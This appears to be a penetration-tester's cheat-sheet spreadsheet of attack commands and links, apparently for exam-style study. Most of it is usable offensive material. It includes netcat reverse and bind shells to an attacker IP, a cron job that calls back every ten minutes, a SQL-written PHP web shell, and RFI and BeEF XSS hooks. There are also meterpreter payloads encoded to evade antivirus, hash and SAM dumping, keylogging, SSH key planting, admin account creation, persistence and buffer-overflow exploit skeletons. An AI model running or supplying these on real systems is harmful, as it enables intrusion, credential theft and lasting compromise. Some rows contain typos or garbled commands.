	A	B	C
1	**usage**	**www**	**info**
2	shellcode	http://shell-storm.org/shellcode/files/	
3	HL view	https://attack.mitre.org	
4	win privesc	http://www.fuzzysecurity.com/tutorials.html	
5	linux privesc	https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/	
6	mem info	http://opensecuritytraining.info/	
7	Win PS	https://posts.specterops.io/archive	
8	PS scripts	https://github.com/darkoperator/powershell_scripts	
9	PS intro	http://www.irongeek.com/i.php?page=videos/hack3rcon5/h01-intro-to-powershell-scripting-for-security	
10	PS intro	youtube.com/watch?v=NpLstvmhrlk	
11	cheets	https://github.com/cheetz/Easy-P	
12	Win PS cheets	https://github.com/HarmJ0y/CheatSheets	
13	NTFS	https://flatcap.org/linux-ntfs/ntfs/index.html	
14	exploits	www.packetstormsecurity.com	
15	exploits	www.securityfocus.com	
16	exploits	www.exploit-db.com	
17	exploits	searchsploit	
18	exploits	osvdb.com	
19	WCE	http://www.ampliasecurity.com/research/wcefaq.html	
20	rainbow	http://project-rainbowcrack.com/table.htm	
21	pass lists	www.packetstormsecurity.com/Crackers/wordlists	
22	john rules	openwall/com/john/docs/RULES.shtml	
23	wordlists	www.openwall.com/wordlists/	
24	kali lists	/usr/share/wordlists	
25	john lists	/usr/share/john/password.lst	
26			
27	**app**	**command**	**desc**
28	run file	./filename	
29	file info	file filename	info about the file/binary
30	locate	locate file	updatedb
31	which	which programme	in the path
32	find	find / -name sbd*	find -parameter value
33	netstat	netstat -antp |grep sshd	
34	service start	service ssh/apache2 start/stop	
35	init.d	/etc/init.d/ssh start/stop	
36	init.d	/etc/init.d/apache2 restart	
37	rc.d	update-rc.d ssh enable	boot up
38	rcconf	rcconf	sysv-rc-conf
39	win path	drop exe to C:\windows	win path exec
40	nc	nc -nv IP port </usr/share/file.exe	
41	nc	nc -nlvp port > file.exe	
42	nc	nc -lvp port -e cmd.exe	send bind shell from win
43	nc	nc -vn IP port -e /bin/bash	send reverse shell from lnx
44	ncat	ncat -lvp port -e cmd.exe --allow IP --ssl	ncat listen over ssl
45	nc	ncat -v IP port --ssl	ncat connect with ssl
46	wireshark filter	host IP tcp port PORT	
47	sbd	sbd 192.168.1.202 4444	send with strong encryption
48	sbd	sbd -l -p 4444 -e bash -v -n	listen on (-p 4444), exec bash (-e bash), verbose output (-v), no name resolution (-n)
49	whois	whoid domain	on port 43
50	openvas setup	admin@localhost:9392	creates admin password (from initial script)
51			
52	**web**	**web command**	**desc**
53	burp std proxy	localhost 8080	for webapp change the quote to single one
54	SQL test	SELECT username FROM users WHERE username='' or '1' = '1' AND password='' or '1' = '1'	
55	SQL test	'	add at the end
56	MySQL select	select "<?php system($GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"	
57	MySQL www	http://IP/shell.php?cmd=ipconfig	
58	MS SQL select	xp_cmdshell ()	
59	SQLMap	sqlmap -u "link" --dump	
60	SQLMap	sqlmap -u "link" --os-shell	whoami (re-enable xp_cmdshell)
61	webapp	Search.aspx	source code
62	webapp	AuthInfo.xml	Xpath injection
63	RFI in php	<?php	meterpreter.php
64	RFI in php	include($_GET['file']);	http://kali_IP/meterpreter.php
65	RFI in php	?>	msfvenom: php, aspx, etc
66	RFI &	… & ipconfig > C:\...\file.txt	use & to run a command in RFI (dir, netsh)
67	XSS javasc check	<script>alert('xss');</script>	beef
68	beef xss	<script>src=http://beef_IP:3000/hook.js></script>	

	A	B	C
1	**type**	**command**	**desc**
2	post_ps	https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc	Privesc
3	post_ps	ls -l /usr/share/powersploit/	PowerSploit
4	scan	amap -bqv 192.168.1.15 80	Display received banners (b), do not display closed ports (q), verbose output (v):
5	enum	enum4linux -U -o 192.168.1.200	userlist (-U) and OS information (-o)
6	scan, etc	inguma (inguma> autoscan)	Target host or network: 192.168.1.15
7	scan	nbtscan-unixwiz -f 192.168.0.38	Full NBT resource record responses (-f) for open NETBIOS nameservers - a first ste
8	enum	ident-user-enum 192.168.1.13 22 139 445	which user is running the service on the specified ports (22 139 445)
9	enum	smtp-user-enum -M VRFY -u root -t 192.168.1.25	Use the VRFY method (-M VRFY) to search for the specified user (-u root) on the ta
10	enum	snmp-check -t 192.168.1.2 -c public	using the public SNMP community string (-c public):
11	post	ridenum 192.168.1.236 500 50000 /tmp/passes.txt	Connect to the remote server (192.168.1.236) and cycle from RID 500 to 50000 (5
12	scan	vega	https://subgraph.com/vega/documentation/Vega-Scanner/index.en.html
13	scan_web	ProxyStrike	
14	scan_web	w3af	
15	scan_web	skipfish -o 202 http://192.168.1.202/wordpres	directory for output (-o 202) , scan the web application URL (http://IP/wordpress)
16	scan_web	nikto -h IP	
17	scan	DirBuster (sparta)	
18	enu_usr	ismtp -f smtp-ips.txt -e /usr/share/wordlists/metasploit/unix_users.txt	Test list of IPs from a file (-f smtp-ips.txt) and usernames from a file (-e /usr/share/
19	post	ls -l /usr/share/nishang/	https://github.com/samratashok/nishang
20	scan_inj	bbqsql	https://github.com/Neohapsis/bbqsql/
21	scan_dav	davtest -url http://192.168.1.209	tests WebDAV enabled servers by uploading test executable files
22	scan_ora	oscanner -s 192.168.1.15 -P 1040	Oracle assessment framework developed in java
23	ex_inj	sqlninja -m t -f /root/sqlninja.conf	Connect to the target in test mode (-m t) with the specified config file (-f /root/sql
24	scan_fuz	siparmyknife	is a fuzzer that searches for cross site scripting, SQL injection, log injection, format
25	post	cryptcat -l -p 4444 -n > dataxfer	listen on 4444 and pipe out to dataxder file
26	post	cryptcat 192.168.1.202 4444 < /tmp/juicyinfo	connect to … on 4444 and pipe in from juicyinfo
27	recon	theharvester -d cisco.com -b google > google.txt	-b data source: google, bing
28	dns info	host, dig, lookup IP/domain	
29	host	host -t ns/mx domain	DNS servers that server domain
30	delimeter	-f1,4	1 and 4th
31	zone trans	host -l domain DNS server	
32	dnsrecon	dnsrecon -d name.com -D /.../dnsmap.txt -t std --xml dnsrecon.xml	brute force hostnames (-D /.../dnsmap.txt), standard scan (-t std), output to a file (
33	dnsenum	dnsenum name.com	
34	nmap	nmap IP	1000 ports
35	nmap	nmap IP --open	only open
36	nmap	nmap -sn 192.168.1.1-254	sweep
37	nmap	nmap -p 80 IP_range -oG file_name.txt	scan for port and save to grep-able file
38	nmap	nmap -A IP	scan with scripts
39	nmap	nmap -sV -A -sT IP	all
40	nmap_nse	/usr/share/nmap/scripts/	ls -l
41	nmap_nse	ls -l *vuln*	scripts to check vuln
42	SMB	445, 139	
43	nbtscan	nbtscan IP-range	
44	enum4	enum4linux -v IP	null session
45	nse_smb	ls -l /usr/share/nmap/scripts/|grep smb	
46	nse_smb	nmap -v -p 139, 445 --script=smb-security-mode IP	
47	nse	nmap -v -p 139, 445 --script smb-enum-users IP	nse enum users
48	nse_vuln	nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 IP	
49	ftp_anon	EXPN, VRFY	
50	ftp_anon	nmap -v -p 21 --script=ftp-anon.nse IP	ftp_anon
51	SNMP	port 161	pag. 131, mov 46
52	SNMP	onesixtyone -c community -i ips	snmp
53	SNMP	snmpwalk -c public -v1 IP <specific_branch>	=-V27 versio
54	snmp_enum	snmpwalk -c public -v1 IP 1.3.6.1.4.1.77.1.2.25	win users
55	snmp_enum	snmpwalk -c public -v1 IP 1.3.6.1.2.1.25.4.2.1.2	win processes
56	snmp_enum	snmpwalk -c public -v1 IP 1.3.6.1.2.1.6.13.1.3	open tcp ports
57	snmp_enum	snmpwalk -c public -v1 IP 1.3.6.1.2.1.25.6.3.1.2	installed software
58	snmpcheck	snmp-check -t IP -c public	
59	nse_vuln	nmap -v -p 80 --script=http-vuln-cve2010-2861 IP	check for vuln, and read add info
60	nse_all	nmap -v -p 80 --script all IP	
61	easy-p	python ./easy-p.py	opt/Easy-P

	A	B	C
1	**module**	**command**	**desc**
2	msf	show payloads	*service postgresql start (msfconsole)*
3	msf	set payload	
4	msf	set LHOST	
5	msf	set port	
6	msf	exploit	
7	msf exploit	jobs	current background
8	msf exploit	kill <jobnumber>	kill session
9	msf exploit	show targets	list targets
10	msf exploit	show advanced	list options
11	msf advanced	set AutoRunScript migrate -f	set <parameter> <value>
12	msf advanced	set PrependMigrate true	set prepand migrate
13	msf advanced	*show advanced*	to confirm
14	meterpreter cmd	getuid	
15	meterpreter cmd	hashdump	
16	meterpreter scripts	/user/share/metasploit-framework/scripts/meterpreter	meterpreter scripts
17	meterpreter cmd	run migrate	run <script_name>
18	meterpreter cmd	sessions -i 1	enter a session after jobs
19	meterpreter cmd	sessions -l	list sessions
20	msfvenom	msfvenom -h	help
21	msfvenom	msfvenom -l encoders	list encoders
22	msfvenom	msfvenom -l payloads	list payloads
23	msfvenom	msfvenom -p payload -o	list options for payloads
24	msfvenom	msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=port -f raw > egg.php	-f format (raw/exe) -k for new threat -x for source file, and listener…
25	msfvenom	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe	
26	msfvenom	/usr/share/windows-binaries	win binaries
27	shikata	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 10 -f exe > file.exe	
28	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai -i 10 -f exe > file.exe		
29	shikata1	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 10 -f raw > pre_file.bin	
30	shikata2	msfvenom -p - -f exe -a x86 --platform windows -e x86/bloxor -i 3 > final_file.bin < pre_file.bin	-i iterations
31	shikata hex	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 7 -f c	shikata -f c
32	/dev/urandom	cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512	trim with tr and pipe first 512 signs
33	multi/handler	use multi/handler	
34	multi/handler	set payload (same)	
35	multi/handler	set LHOST (same)	
36	multi/handler	set port (same)	
37	multi/handler	exploit	
38	multi/handler	show advanced	
39	multi/handler	*set ExitOnSession false*	keep multiple sessions
40	multi/handler	exploit -j	start in the background
41			
42	**encode**	**encode command**	**desc**
43	msf	msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=port -e x86/shikata_ga_nai -i 7 -f c	
44	kali	cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512	
45	encode.c	nano encode.c	
46		#include <stdio.h>	
47		unsigned char random[]= "…urandom…";	
48		unsigned char shellcode []= "…shikata…";	
49		int main(void)	
50		{	
51		((void (*)())shellcode)();	
52		}	
53	mingw32	i586-mingw32msvc-gcc -o file_name.exe encode.c	
54	msf	msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=port -f exe > pre_file.exe	
55	hyperion	wine ../hyperion ../pre_file.exe final_file.exe	cd Hyperion-1.0/
56	Veil	./Veil-Evasion.py	/Veil-Evasion-master
57	Veil	list	list payloads
58	Veil	no.	select payload
59	Veil	generate	payload with defaults
60	Veil	1	
61	Veil	[enter]	
62	Veil	[tab]	
63	Veil	port	
64	Veil	file_name	
65	Veil	1	

	A	B	C
1	**app**	**command**	**desc**
2	arp	arp -a	
3	ettercap	ettercap -Ti eth0 -M artp:remote IP(target) IP(victim)	
4	iptables forward	iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080	
5	sslstrip	sslstrip -l 8080	
6	vim	I	start edit (insert)
7	nc	nc -vv IP port	netcat
8	nmap	-sS	nmap commands
9	nmap	-sV	
10	nmap	-oA	output to all formats
11	nmap	-sU	UDP
12	nmap scripts	cd /usr/share/nmap/scripts	
13	nmap scripts	-sC	default scripts
14	nmap scripts	--script=nfs-ls IP	
15	nc	nc IP port	connect to ip
16	nc	nc -l port	listen on port
17	nc	nc -vv IP port	
18	nikto	-h IP	
19	cadaver	cadaver http://IP/webdav	
20	cadaver /webda/>	put *filename.txt*	
21	nslookup	nslookup FQDN	
22	Win tftp cmd	tftp IP get file.php	Win ftp from cmd line
23	ftp	/sbin/service vsftpd start (stop)	start vsftd or atftpd
24	ftp bind	vsftpd --daemon --bind-address IP /path	space between IP and pat
25	*Win tftp cmd*	*tftp IP get file.php*	*ftp cmd line*
26	php+ftp	http://IP/shell.php?cmd=tftp IP get file.php	
27	win SAM	/WINDOWS/system32/config/sam	
28	win system	/WINDOWS/system32/config/system	bootkey
29	SAM backup	/WINDOWS/repair/sam	
30	System backup	/WINDOWS/repair/system	
31	vsFTPd	:) on 6200	
32	*nix pass file	cat /etc/shadow	
33	mount nfs	mkdir /tmp/foldername/	(create folder first)
34	nmap scripts	--script=nfs-ls IP	
35	mount nfs	mount -t nfs -o nolock IP:/export/georgia tmp/mount	
36	list mount	cd /tmp/mount/.ssh	ls
37	generate SSH keys	ssh-keygen	
38	priv and pub key	/root/.ssh/id_rsa	/root/.ssh/id_rsa.pub
39	auth. pub keys	/.ssh/authorized_keys	
40	append to auth.	cat ~/.ssh/id_rsa.pub >> /tmp/mount/.ssh/authorized_keys	add Kali keys to victim auth. Keys
41	remove priv key	rm ~/.ssh/id_rsa.pub	remove kali keys
42	remove pub key	rm ~/.ssh/id_rsa.pub	remove kali keys
43	copy priv key	cp id_rsa.pub ~/.ssh/id_rsa	copy keys from victim to kali
44	copy pub key	cp id_rsa.pub ~/.ssh/id_rsa.pub	copy keys from victim to kali
45	add identity	ssh-add	add identity to authorisation (login)
46	login with key only	ssh user@IP	login
47	cewl	cewl --help	
48	generate wordlist	cewl -w file.txt -d 1 -m 8 www.google.com	
49	crunch	crunch 7 8	
50	hydra	hydra -L userlist.txt -P passfile.txt IP service (pop3, etc.)	
51	hydra	hydra -l username -P passfile.txt IP service	
52	Win SAM	c:\Windows\repair	SAM and SYSTEM
53	bkhive	bkhive system xpkey.txt	extract bootkey from SYSTEM to xpkey file
54	samdump2	samdump2 sam xpkey.txt	retrive from SAM file and xpkey.txt
55	john	john xphashes.txt	file with LM Win hashes
56	john	john hashes.txt --wordlist=passwordfile.txt	
57	john	john hashes.txt --wordlist=passwordfile.txt --rules $[0-9]$[0-9]$[0-9]	add three digits at the end of each pass in file
58	john	/etc/john/john.conf > List.Rules.Wordlist: $[0-9]$[0-9]$[0-9]	add three digits to John config file
59	john info	openwall/com/john/docs/RULES.shtml	
60	Rcrack	project-rainbowcrack/table.htm	
61	WCE	wce.exe -w	

	A	B
1	**GDB - stack crash**	**GCC**
2	(gdb) disas main	gcc -g -o file script.c
3	(gdb) disas mainbreak *main+9	*gcc output_file input_script*
4	(gdb) break *main+9	-o output
5	(gdb) r	-g debug info
6	(gdb) x/10x $esp	
7	(gdb) x/5i 0x0804836b	
8	(gdb) x/2x ("escape and return address")	
9	(gdb) x/s $esp	
10	**Buffer overflow in *nix**	**info**
11	nano /proc/sys/kernel/randomize_va_space	set to 1 or 2 to enable, set to 0 to disable
12	**Buffer in Win with Mona**	**info**
13	Immunity dgb and Mona plugin	File -> Attach (process to debug)
14	nano buffer	#!/usr/bin/python
15	chmod +x buffer	import socket
16	./buffer	buff = "A" * 2000
17	mona pattern_create 2000	s=socket.socket(socket.AF_INET,socket.SOCK.STREAM)
18	C:\logs\...\pattern.txt	connects=s.connect(('IP' ,port))
19	mona pattern_offset *EIP*	resp = s.recv(1024)
20	!mona findmsp	print resp
21	*the longest from: ESP, EDI, EBP*	s.send('USER ' + buff + '\r\n'
22	r-click e.g. on ESP	resp = s.recv(1024)
23	!mona jmp -r esp	print resp
24	app itself or MSVCRT.dll	s.send('PASSWORD OLE\r\n')
25	*to set breakpoint:* bp 0x7e429353 (mem)	s.close
26	*to view bp: View -> Breakpoints*	press F7/F8 to continue
27	*msfvenom: windows/shell_bind_tcp*	\xod null, \x40 @, \x0a \x0d new lines
28	msfvenom -p windows/shell_bind_tcp -s 607 -b 'x00\x40\x0a\x0d'	
29	OFFSET + jump address + "C" * 4 + "shellcode"	
30	msfvenom -p windows/shell_bind_tcp -s 607 EXITFUNC = thread	EXITFUNC = thread
31	./metasm_shell.rb	cd usr/share/meatsploit-framework/tools/
32	sub esp, 1500	*may contain bad signs*
33	add esp, -1500	cp and paste before the shellcode
34	OFFSET + jump address + "C" * 4 + <metasm_output> + "shellcode"	
35	nc IP port	
36	!mona she -cpb "\z00\x40\x0a\x0d	SHE
37	bp <above_result>	
38	\Xeb\x06\	jump by 6 bytes
39	OFFSET + "B" * 4 + <esp> + "shellcode"	
40	\x90 NOP sled - use to pad (slide down)	
41	!mona jmp -r esi -m user32	
42	jmp_2000 = "\X40\x0d\x7f\x45";	
43	msfvenom -p windows/shell_bind_tcp -b '\x00' -s <max_size_of_payload> -f perl	
44	**Python buffer**	
45	#!/usr/bin/python	nano ex
46	import socket	
47	buffarr = ["A"*100]	
48	addition = 200	
49	while len(buffarr) <= 50:	
50	buffarr.append("A"*addition)	
51	addition += 100	
52	for the value in buffarr:	
53	packet = "\x00\x02" + "username" + "\x00" + value + "\x00"	
54	print "fuzz with " + str(len(value))	
55	s=socket.socket(socket.AF_INET, socket.SOCK.DGRAM)	
56	s.sendto(packet,('IP',69))	
57	rsp = s.recvfrom(1024)	./ex IP
58	pring rsp	nc IP port
59	**Offsec win**	
60	locate pattern_create	locate pattern_create
61	pattern_create.rb 2700	create unique string of 2700
62	pattern_offset.rb xxxx	locate offset of xxxx
63	350-400 bytes of space	usual space
64	!mona modules	F2 place breakpoint, F7 run, F8 one step
65	nasm_shell.rb	
66	msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=port EXITFUNC=thread -f c -a x86 --platform windows -b 'x00\x40\x0a\x0d' -e x86/shikata_ga_nai	
67	**Offsec lnx**	
68	edb --run /path/file	
69	double click run	
70	python script.py	

	A	B	C
1	**app**	**command**	**desc**
2	msf	sessions -i 1	enter a session after jobs
3	msf	sessions -l	list sessions
4	meterpreter	getuid	
5	meterpreter	getsystem -h	
6	meterpreter	getsystem	all options
7	meterpreter	hashdump	
8	msf	post/windows/gather/hashdump	
9	msf	post/windows/gather/smart_hashdump	
10			
11	meterpreter	help upload	help <command>
12	meterpreter	upload /usr/share/windows-binaries/nc.exe C:\\	upload nc.exe
13	meterpreter	/user/share/metasploit-framework/scripts/meterpreter	meterpreter scripts
14	meterpreter	run migrate -h	script help
15	meterpreter	run migrate	run <script_name>
16	meterpreter	ps	running processes
17	meterpreter	run migtate -p 1514	run migtate -p PID
18			
19	msf	use post/windows/gather/enum_logged_on_users	
20	msf	show options	
21	msf	set SESSION 1	
22	msf	exploit	
23			
24	meterpreter	irb	Ruby shell in meterpreter
25	railgun	client.railgun.shell32.IsUserAnAdmin	Railgun
26	kali	windows/gather/reverse_lookup.rb	
27	kali	windows/manage/download_exec.rb	
28	ruby	exit	return to meterpreter
29			
30	ms11_080	use exploit/windows/local/ms11_080_afdjoinleaf	
31	ms11_080	show options	
32	ms11_080	set SESSION 1	
33	ms11_080	set payload windows/meterpreter/reverse_tcp	
34	ms11_080	set LHOST IP	
35	msf	exploit	
36			
37	bypassuac	use exploit/windows/local/bypassuac	
38	bypassuac	show options	
39	bypassuac	set SESSION 1	
40	bypassuac	exploit	
41	meterpreter	getsystem	
42			
43	meterpreter search	search -f *password*	meterpreter
44	keyscan	keyscan_start	meterpreter
45	keyscan	keyscan_dump	meterpreter
46	keyscan	keyscan_stop	meterpreter
47	WinSCP	file protocol: SCP, IP of victim, username, password	WinSCP
48	msf	use post/windows/gather/credentials/winscp	msf
49	winscp	show options	msf post
50	winscp	set session 1	msf post
51	winscp	expolit	msf post
52			
53	meterpreter	shell	
54	meterpreter	net users	
55	meterpreter	net localgroup Administrators	
56	meterpreter	exit	
57			
58	psexec	use exploit/windows/smg/psexec	set RHOST, SMBUser, SMBPass, SMBDomain (if available)
59	msf exploit	show options	SMBPass can be used with hash (set SMBPass …hash...)
60	msf exploit	exploit	
61			
62	meterpreter	load incognito	
63	incognito	list_tokens -u	
64	incognito	impersonate_token BOOKXP\\secret	double backslash between domain (or local machine) and username
65	incognito	getuid	
66			
67	capture smb	use auxiliary/server/capture/smb	page 302
68			
69	msf pivot	route add 192.168.xxx.0 255.255.255.0 <session_id>	IP with 0, mask, and msf session id
70			
71	msf	use auxiliary/server/socks4a	
72	msf	show options	note/change SRVPORT
73	msf	exploit	

	A	B	C
1	**app**	**command**	**desc**
74	etc/proxychains.conf	socks4 127.0.0.1 SRVPORT	edit config
75	etc/proxychains.conf	save new config	save
76	kali prefix	proxychains nmap …	add prefix proxychains
77			
78	add user	net user username password /add	add username with password
79	add to the group	net localgroup Administrators username /add	
80	add domain user	net user username password /add /domain	
81	ad to domain groups	net group "Domain Admins" username /add /domain	
82			
83	msf persistence	run persistence -h	
84	msf persistence	run persistence -r IP -p port -U	try restarting if fails
85			
86	**lnx app**	**lnx command**	**desc**
87	meterpreter	shell	drop into regular shell
88	shell	whoami	
89	shell	uname -a	lnx ver
90	shell	lsb_release -a	
91	shell	udevadm --version	dev manager for loadoing drivers
92	searchsploit	usr/share/exploitdb/searchsploit udev	search for udev with searchsploit
93	kali	cp file.c to www	
94	victim	wget	
95	victim	gcc -o file_name file.c	
96	victim	cat /proc/net/netlink	to find PID
97	victim	ps aux | grep udev	to match the PID with one of the netlink PID's from (udev -1)
98	victim	cat /tmp/run	to write some code to exploit
99	victim	#!/bin/bash	
100	victim	nc IP port -e /bin/bash	
101	kali	nc -lvp port	nc listener
102	victim	./script_name PID	expolit (per instructions PID -1 from udev)
103	victim	whoami	
104			
105	.bash_history	cat .bat_history	history of user login
106			
107	msf	use exploit/multi/ssh/sshexec	Psexe for linux
108	SSHExec	show options	(RHOST, USERNAME, PASSWORD)
109	SSHExec	show payloads	set payload linux/x86/meterpreter/reverse_tcp
110	SSHExec	set LHOST IP	
111	SSHExec	exploit	
112			
113	/etc/crontab	*/10 * * * * root nc IP port -e /bin/bash	run nc IP port -e /bin/bash every 10 mins to IP on port
114	/etc/crontab	service cron restart	